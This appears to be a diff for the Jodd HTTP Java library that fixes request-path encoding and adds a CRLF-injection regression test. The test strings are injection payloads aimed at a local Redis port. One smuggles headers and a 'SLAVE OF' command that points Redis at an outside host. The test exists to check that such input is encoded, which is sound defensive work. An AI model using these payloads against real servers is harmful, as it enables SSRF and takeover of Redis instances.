File size: 3,958 Bytes
62cfde8
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
diff --git a/src/main/java/jodd/http/HttpRequest.java b/src/main/java/jodd/http/HttpRequest.java
index 544dd86..70138e5 100644
--- a/src/main/java/jodd/http/HttpRequest.java
+++ b/src/main/java/jodd/http/HttpRequest.java
@@ -27,6 +27,7 @@ package jodd.http;
 
 import jodd.net.HttpMethod;
 import jodd.net.MimeTypes;
+import jodd.net.URLCoder;
 import jodd.util.Base64;
 import jodd.util.StringPool;
 import jodd.util.StringUtil;
@@ -37,7 +38,6 @@ import java.io.InputStream;
 import java.io.InputStreamReader;
 import java.io.OutputStream;
 import java.io.UnsupportedEncodingException;
-import java.net.URLEncoder;
 import java.nio.charset.StandardCharsets;
 import java.util.Map;
 import java.util.concurrent.CompletableFuture;
@@ -337,40 +337,37 @@ public class HttpRequest extends HttpBase<HttpRequest> {
 	 * Adds a slash if path doesn't start with one.
 	 * Query will be stripped out from the path.
 	 * Previous query is discarded.
+	 *
 	 * @see #query()
 	 */
-	public HttpRequest path(String path){
+	public HttpRequest path(String path) {
 		// this must be the only place that sets the path
 
 		if (!path.startsWith(StringPool.SLASH)) {
 			path = StringPool.SLASH + path;
 		}
 
-		try {
-			// remove fragment
-			final int fragmentIndex = path.indexOf('#');
-			if (path.indexOf('#') != -1) {
-				this.fragment = URLEncoder.encode(path.substring(fragmentIndex + 1), StandardCharsets.UTF_8.name());
-				path = path.substring(0, fragmentIndex);
-			}
-
-			final int ndx = path.indexOf('?');
+		// remove fragment
+		final int fragmentIndex = path.indexOf('#');
+		if (path.indexOf('#') != -1) {
+			this.fragment = URLCoder.encodePath(path.substring(fragmentIndex + 1), StandardCharsets.UTF_8);
+			path = path.substring(0, fragmentIndex);
+		}
 
-			if (ndx != -1) {
-				final String queryString = path.substring(ndx + 1);
+		final int ndx = path.indexOf('?');
 
-				path = URLEncoder.encode(path.substring(0, ndx), StandardCharsets.UTF_8.name());
+		if (ndx != -1) {
+			final String queryString = path.substring(ndx + 1);
 
-				query = HttpUtil.parseQuery(queryString, true);
-			} else {
-				query = HttpMultiMap.newCaseInsensitiveMap();
-			}
+			path = URLCoder.encodePath(path.substring(0, ndx), StandardCharsets.UTF_8);
 
-			this.path = URLEncoder.encode(path, StandardCharsets.UTF_8.name());
-			;
-		}catch (UnsupportedEncodingException e) {
-			return null;
+			query = HttpUtil.parseQuery(queryString, true);
+		} else {
+			query = HttpMultiMap.newCaseInsensitiveMap();
 		}
+
+		this.path = URLCoder.encodePath(path, StandardCharsets.UTF_8);
+
 		return this;
 	}
 
diff --git a/src/test/java/jodd/http/CRLFInjectionTest.java b/src/test/java/jodd/http/CRLFInjectionTest.java
new file mode 100644
index 0000000..32e1841
--- /dev/null
+++ b/src/test/java/jodd/http/CRLFInjectionTest.java
@@ -0,0 +1,40 @@
+package jodd.http;
+
+import jodd.net.URLCoder;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+class CRLFInjectionTest {
+
+	@Test
+	void testGet_crlf_injection() {
+		String url = "http://127.0.0.1:6379/ \rfoo";//"HTTP/1.1\r\nHost: 127.0.0.13:1099\r\n\r\nSLAVE OF inhann.top:6379\r\n\r\nPOST / ";
+		HttpRequest req = HttpRequest.get(url);
+
+		assertEquals("GET /%20%0Dfoo HTTP/1.1", req.toString().split("\n")[0].trim());
+	}
+
+	@Test
+	void testGet_crlf_injection_path() {
+		String url = "http://127.0.0.1:6379/";
+		HttpRequest req = HttpRequest.get(url).path(" \rfoo");
+
+		assertEquals("GET /%20%0Dfoo HTTP/1.1", req.toString().split("\n")[0].trim());
+	}
+
+	@Test
+	void testGet_crlf_injection2() {
+		String path = " HTTP/1.1\n" +
+				"Host: 127.0.0.13:1099\n" +
+				"\n" +
+				"SLAVE OF inhann.top:6379\n" +
+				"\n" +
+				"POST /";
+		String url = "http://127.0.0.1:6379/" + path;
+		HttpRequest req = HttpRequest.get(url);
+
+		assertEquals("GET /" + URLCoder.encodePath(path) + " HTTP/1.1", req.toString().split("\n")[0].trim());
+	}
+
+}